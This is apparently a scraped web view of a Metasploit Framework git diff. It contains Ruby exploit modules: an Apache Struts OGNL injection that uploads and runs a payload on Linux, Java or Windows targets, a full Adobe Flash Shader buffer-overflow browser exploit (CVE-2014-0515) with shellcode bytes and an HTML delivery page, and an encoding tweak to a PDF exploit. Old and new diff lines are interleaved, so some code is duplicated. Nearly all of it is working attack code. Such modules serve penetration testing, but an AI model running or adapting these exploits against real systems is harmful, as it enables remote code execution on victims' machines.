inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
uri = String.new(datastore['TARGETURI'])
uri = normalize_uri(uri)
uri.gsub!(/INJECT/,inject) # append the injection string
def parameter
datastore['PARAMETER']
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
def get_parameter
retval = {}
return retval unless datastore['GET_PARAMETERS']
splitted = datastore['GET_PARAMETERS'].split('&')
return retval if splitted.nil? || splitted.empty?
splitted.each { |item|
name, value = item.split('=')
# no check here, value can be nil if parameter is &param
decoded_name = name ? Rex::Text::uri_decode(name) : nil
decoded_value = value ? Rex::Text::uri_decode(value) : nil
retval[decoded_name] = decoded_value
}
retval
end
def execute_command(cmd)
junk = Rex::Text.rand_text_alpha(6)
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
uri = normalize_uri(datastore['TARGETURI'])
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
})
return resp #Used for check function.
resp
end
def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
append = 'false'
append = false
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd = ''
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
print_status("#{peer} - Uploading exploit to #{payload_exe}")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor)*3
chunk_length = ((chunk_length/4).floor) * 3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
java_upload_part(pl_exe, payload_exe, append)
print_status("#{peer} - Executing payload")
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
register_files_for_cleanup(payload_exe)
end
def java_upload_part(part, filename, append = 'false')
def java_upload_part(part, filename, append = false)
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
@ -151,7 +183,6 @@ class Metasploit3 < Msf::Exploit::Remote
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time

View File

@ -93,7 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
print_status("showme the money")
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

View File

@ -0,0 +1,129 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Shader Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
vulnerability occurs in the flash.Display.Shader class, when setting specially
crafted data as its bytecode, as exploited in the wild in April 2014. This module
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
Windows XP SP3, Windows 7 SP1 and Windows 8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-0515'],
['BID', '67092'],
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false,
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2014",
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=flash_payload%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << self.send(my_target[:rop])
sploit << p.encoded
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-noslashes')
cli.send_response(resp)
# handle the payload

Some files were not shown because too many files have changed in this diff Show More